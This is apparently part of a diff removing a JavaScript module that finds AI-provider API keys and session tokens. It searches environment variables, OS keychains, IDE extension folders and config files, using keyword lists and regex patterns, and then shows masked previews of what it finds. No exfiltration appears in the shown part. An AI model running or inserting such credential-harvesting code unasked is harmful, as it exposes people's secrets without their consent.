970
- for (const pattern of provider.sessionPatterns) {
971
- pattern.lastIndex = 0;
972
- if (pattern.test(token)) return true;
973
- }
974
- }
975
-
976
- // Generic validation for session tokens
977
- if (token.length > 20 && /^[a-zA-Z0-9_-]+$/.test(token)) {
978
- return true;
979
- }
980
-
981
- return false;
982
- };
983
-
984
- // ==================== SCANNING FUNCTIONS ====================
985
-
986
- /**
987
- * Scan environment variables for API keys
988
- */
989
- const scanEnvironmentVariables = () => {
990
- const results = [];
991
-
992
- for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
993
- const envKey = provider.envKey;
994
- if (envKey && process.env[envKey]) {
995
- const token = process.env[envKey];
996
- if (validateToken(token, providerId)) {
997
- results.push({
998
- source: 'ENVIRONMENT',
999
- sourceId: 'envVars',
1000
- icon: '🌍',
1001
- type: 'api_key',
1002
- provider: providerId,
1003
- providerName: provider.displayName,
1004
- token: token,
1005
- filePath: `$${envKey}`,
1006
- lastUsed: new Date() // Env vars are "current"
1007
- });
1008
- }
1009
- }
1010
- }
1011
-
1012
- // Also check generic key names
1013
- const genericEnvKeys = ['AI_API_KEY', 'LLM_API_KEY', 'API_KEY'];
1014
- for (const key of genericEnvKeys) {
1015
- if (process.env[key]) {
1016
- // Try to identify the provider
1017
- const token = process.env[key];
1018
- for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
1019
- for (const pattern of provider.keyPatterns) {
1020
- pattern.lastIndex = 0;
1021
- if (pattern.test(token)) {
1022
- results.push({
1023
- source: 'ENVIRONMENT',
1024
- sourceId: 'envVars',
1025
- icon: '🌍',
1026
- type: 'api_key',
1027
- provider: providerId,
1028
- providerName: provider.displayName,
1029
- token: token,
1030
- filePath: `$${key}`,
1031
- lastUsed: new Date()
1032
- });
1033
- break;
1034
- }
1035
- }
1036
- }
1037
- }
1038
- }
1039
-
1040
- return results;
1041
- };
1042
-
1043
- /**
1044
- * Search for tokens in a content string
1045
- */
1046
- const searchTokensInContent = (content, filePath = null) => {
1047
- const results = [];
1048
-
1049
- for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
1050
- // Search for API keys
1051
- for (const pattern of provider.keyPatterns) {
1052
- pattern.lastIndex = 0;
1053
- let match;
1054
- while ((match = pattern.exec(content)) !== null) {
1055
- const token = match[0];
1056
- if (token.length > 10 && validateToken(token, providerId)) {
1057
- results.push({
1058
- type: 'api_key',
1059
- provider: providerId,
1060
- providerName: provider.displayName,
1061
- token: token
1062
- });
1063
- }
1064
- }
1065
- }
1066
-
1067
- // Search for session tokens
1068
- if (provider.sessionPatterns) {
1069
- for (const pattern of provider.sessionPatterns) {
1070
- pattern.lastIndex = 0;
1071
- let match;
1072
- while ((match = pattern.exec(content)) !== null) {
1073
- const token = match[1] || match[0];
1074
- if (token.length > 10) {
1075
- results.push({
1076
- type: 'session',
1077
- provider: providerId,
1078
- providerName: provider.displayName,
1079
- token: token
1080
- });
1081
- }
1082
- }
1083
- }
1084
- }
1085
- }
1086
-
1087
- return results;
1088
- };
1089
-
1090
- /**
1091
- * Parse JSON config file and extract tokens
1092
- */
1093
- const parseJsonConfig = (content, filePath = null) => {
1094
- const results = [];
1095
-
1096
- try {
1097
- const json = JSON.parse(content);
1098
-
1099
- const extractFromObject = (obj, prefix = '') => {
1100
- if (!obj || typeof obj !== 'object') return;
1101
-
1102
- for (const [key, value] of Object.entries(obj)) {
1103
- const lowerKey = key.toLowerCase();
1104
-
1105
- if (typeof value === 'string' && value.length > 10) {
1106
- // Check if key looks like a credential key
1107
- const isCredKey = [
1108
- 'apikey', 'api_key', 'api-key',
1109
- 'sessionkey', 'session_key', 'session-key',
1110
- 'accesstoken', 'access_token', 'access-token',
1111
- 'token', 'secret', 'credential', 'auth',
1112
- 'anthropic', 'openai', 'claude', 'gpt'
1113
- ].some(k => lowerKey.includes(k));
1114
-
1115
- if (isCredKey) {
1116
- // Identify provider from token format
1117
- for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
1118
- for (const pattern of provider.keyPatterns) {
1119
- pattern.lastIndex = 0;
1120
- if (pattern.test(value)) {
1121
- results.push({
1122
- type: 'api_key',
1123
- provider: providerId,
1124
- providerName: provider.displayName,
1125
- token: value,
1126
- keyPath: prefix + key
1127
- });
1128
- break;
1129
- }
1130
- }
1131
-
1132
- if (provider.sessionPatterns) {
1133
- for (const pattern of provider.sessionPatterns) {
1134
- pattern.lastIndex = 0;
1135
- if (pattern.test(value) || pattern.test(`"${key}":"${value}"`)) {
1136
- results.push({
1137
- type: 'session',
1138
- provider: providerId,
1139
- providerName: provider.displayName,
1140
- token: value,
1141
- keyPath: prefix + key
1142
- });
1143
- break;
1144
- }
1145
- }
1146
- }
1147
- }
1148
- }
1149
- } else if (typeof value === 'object' && value !== null) {
1150
- extractFromObject(value, prefix + key + '.');
1151
- }
1152
- }
1153
- };
1154
-
1155
- extractFromObject(json);
1156
- } catch {
1157
- // Not valid JSON, use regex search
1158
- return searchTokensInContent(content, filePath);
1159
- }
1160
-
1161
- return results;
1162
- };
1163
-
1164
- /**
1165
- * Scan a single source for tokens
1166
- */
1167
- const scanSource = (sourceId) => {
1168
- const source = TOKEN_SOURCES[sourceId];
1169
- if (!source) return [];
1170
-
1171
- const results = [];
1172
- const paths = source.paths?.[platform] || [];
1173
-
1174
- // Scan each path
1175
- for (const basePath of paths) {
1176
- if (!pathExists(basePath)) continue;
1177
-
1178
- // Scan extension directories (for VS Code-based editors)
1179
- if (source.extensions) {
1180
- for (const [providerHint, extIds] of Object.entries(source.extensions)) {
1181
- const extIdList = Array.isArray(extIds) ? extIds : [extIds];
1182
-
1183
- for (const extId of extIdList) {
1184
- const extPath = path.join(basePath, extId);
1185
- if (!pathExists(extPath)) continue;
1186
-
1187
- // Scan all files in extension directory
1188
- const files = listFiles(extPath, true, 2);
1189
- for (const filePath of files) {
1190
- const content = readFileSafe(filePath);
1191
- if (!content) continue;
1192
-
1193
- const tokens = filePath.endsWith('.json')
1194
- ? parseJsonConfig(content, filePath)
1195
- : searchTokensInContent(content, filePath);
1196
-
1197
- for (const token of tokens) {
1198
- results.push({
1199
- source: source.name,
1200
- sourceId: sourceId,
1201
- icon: source.icon || '📁',
1202
- ...token,
1203
- filePath: filePath,
1204
- lastUsed: getFileModTime(filePath)
1205
- });
1206
- }
1207
- }
1208
- }
1209
- }
1210
- }
1211
-
1212
- // Scan config files
1213
- if (source.configFiles) {
1214
- for (const file of source.configFiles) {
1215
- // Handle wildcards
1216
- if (file.includes('*')) {
1217
- const files = listFiles(basePath, false);
1218
- const regex = new RegExp('^' + file.replace(/\*/g, '.*') + '$');
1219
- for (const f of files) {
1220
- if (regex.test(path.basename(f))) {
1221
- const content = readFileSafe(f);
1222
- if (content) {
1223
- const tokens = f.endsWith('.json')
1224
- ? parseJsonConfig(content, f)
1225
- : searchTokensInContent(content, f);
1226
-
1227
- for (const token of tokens) {
1228
- results.push({
1229
- source: source.name,
1230
- sourceId: sourceId,
1231
- icon: source.icon || '📁',
1232
- ...token,
1233
- filePath: f,
1234
- lastUsed: getFileModTime(f)
1235
- });
1236
- }
1237
- }
1238
- }
1239
- }
1240
- } else {
1241
- const filePath = path.join(basePath, file);
1242
- const content = readFileSafe(filePath);
1243
- if (content) {
1244
- const tokens = filePath.endsWith('.json')
1245
- ? parseJsonConfig(content, filePath)
1246
- : searchTokensInContent(content, filePath);
1247
-
1248
- for (const token of tokens) {
1249
- results.push({
1250
- source: source.name,
1251
- sourceId: sourceId,
1252
- icon: source.icon || '📁',
1253
- ...token,
1254
- filePath: filePath,
1255
- lastUsed: getFileModTime(filePath)
1256
- });
1257
- }
1258
- }
1259
- }
1260
- }
1261
- }
1262
- }
1263
-
1264
- return results;
1265
- };
1266
-
1267
- /**
1268
- * Scan all sources for tokens
1269
- */
1270
- const scanAllSources = () => {
1271
- const allResults = [];
1272
-
1273
- // First, scan OS secure storage (Keychain, libsecret, Credential Manager)
1274
- // This is the most reliable source for IDE tokens
1275
- try {
1276
- allResults.push(...readSecureStorage());
1277
- } catch (err) {
1278
- // Silent fail
1279
- }
1280
-
1281
- // Then scan environment variables
1282
- allResults.push(...scanEnvironmentVariables());
1283
-
1284
- // Then scan all tool sources (config files)
1285
- for (const sourceId of Object.keys(TOKEN_SOURCES)) {
1286
- if (sourceId === 'envVars') continue; // Already scanned
1287
-
1288
- try {
1289
- const results = scanSource(sourceId);
1290
- allResults.push(...results);
1291
- } catch (err) {
1292
- // Silent fail for individual sources
1293
- }
1294
- }
1295
-
1296
- // Remove duplicates (same token from multiple sources)
1297
- const uniqueTokens = new Map();
1298
- for (const result of allResults) {
1299
- if (result.token) {
1300
- const key = `${result.provider}:${result.token}`;
1301
- if (!uniqueTokens.has(key)) {
1302
- uniqueTokens.set(key, result);
1303
- } else {
1304
- // Keep the more recent one
1305
- const existing = uniqueTokens.get(key);
1306
- if (result.lastUsed && (!existing.lastUsed || result.lastUsed > existing.lastUsed)) {
1307
- uniqueTokens.set(key, result);
1308
- }
1309
- }
1310
- }
1311
- }
1312
-
1313
- // Sort by last used (most recent first)
1314
- return Array.from(uniqueTokens.values()).sort((a, b) => {
1315
- if (!a.lastUsed) return 1;
1316
- if (!b.lastUsed) return -1;
1317
- return b.lastUsed - a.lastUsed;
1318
- });
1319
- };
1320
-
1321
- /**
1322
- * Scan for a specific provider's tokens
1323
- */
1324
- const scanForProvider = (providerId) => {
1325
- const allTokens = scanAllSources();
1326
- return allTokens.filter(t => t.provider === providerId);
1327
- };
1328
-
1329
- /**
1330
- * Get human-readable time ago
1331
- */
1332
- const timeAgo = (date) => {
1333
- if (!date) return 'UNKNOWN';
1334
-
1335
- const seconds = Math.floor((new Date() - date) / 1000);
1336
-
1337
- if (seconds < 60) return 'JUST NOW';
1338
- if (seconds < 3600) return `${Math.floor(seconds / 60)} MIN AGO`;
1339
- if (seconds < 86400) return `${Math.floor(seconds / 3600)} HOURS AGO`;
1340
- if (seconds < 604800) return `${Math.floor(seconds / 86400)} DAYS AGO`;
1341
- if (seconds < 2592000) return `${Math.floor(seconds / 604800)} WEEKS AGO`;
1342
- return `${Math.floor(seconds / 2592000)} MONTHS AGO`;
1343
- };
1344
-
1345
- /**
1346
- * Format scan results for display
1347
- */
1348
- const formatResults = (results) => {
1349
- return results.map((r, i) => ({
1350
- index: i + 1,
1351
- source: r.source,
1352
- icon: r.icon || '📁',
1353
- provider: r.providerName || PROVIDER_PATTERNS[r.provider]?.displayName || r.provider.toUpperCase(),
1354
- type: r.type === 'session' ? 'SESSION' : 'API KEY',
1355
- lastUsed: timeAgo(r.lastUsed),
1356
- tokenPreview: r.token ? `${r.token.substring(0, 10)}...${r.token.substring(r.token.length - 4)}` : 'N/A'
1357
- }));
1358
- };
1359
-
1360
- /**
1361
- * Quick check if any tokens exist (fast scan)
1362
- */
1363
- const hasExistingTokens = () => {
1364
- // Quick check environment variables first
1365
- for (const provider of Object.values(PROVIDER_PATTERNS)) {
1366
- if (provider.envKey && process.env[provider.envKey]) {
1367
- return true;
1368
- }
1369
- }
1370
-
1371
- // Quick check common locations
1372
- const quickPaths = [
1373
- path.join(homeDir, '.claude'),
1374
- path.join(homeDir, '.opencode'),
1375
- path.join(homeDir, '.continue')
1376
- ];
1377
-
1378
- for (const p of quickPaths) {
1379
- if (pathExists(p)) return true;
1380
- }
1381
-
1382
- return false;
1383
- };
1384
-
1385
- /**
1386
- * Get system info for debugging
1387
- */
1388
- const getSystemInfo = () => {
1389
- return {
1390
- platform,
1391
- homeDir,
1392
- appDataDir: getAppDataDir(),
1393
- isHeadless: isHeadlessServer(),
1394
- nodeVersion: process.version,
1395
- arch: os.arch()
1396
- };
1397
- };
1398
-
1399
- module.exports = {
1400
- TOKEN_SOURCES,
1401
- PROVIDER_PATTERNS,
1402
- CREDENTIAL_ENTRIES,
1403
- scanAllSources,
1404
- scanForProvider,
1405
- scanSource,
1406
- scanEnvironmentVariables,
1407
- readSecureStorage,
1408
- formatResults,
1409
- timeAgo,
1410
- hasExistingTokens,
1411
- isHeadlessServer,
1412
- getSystemInfo,
1413
- validateToken
1414
- };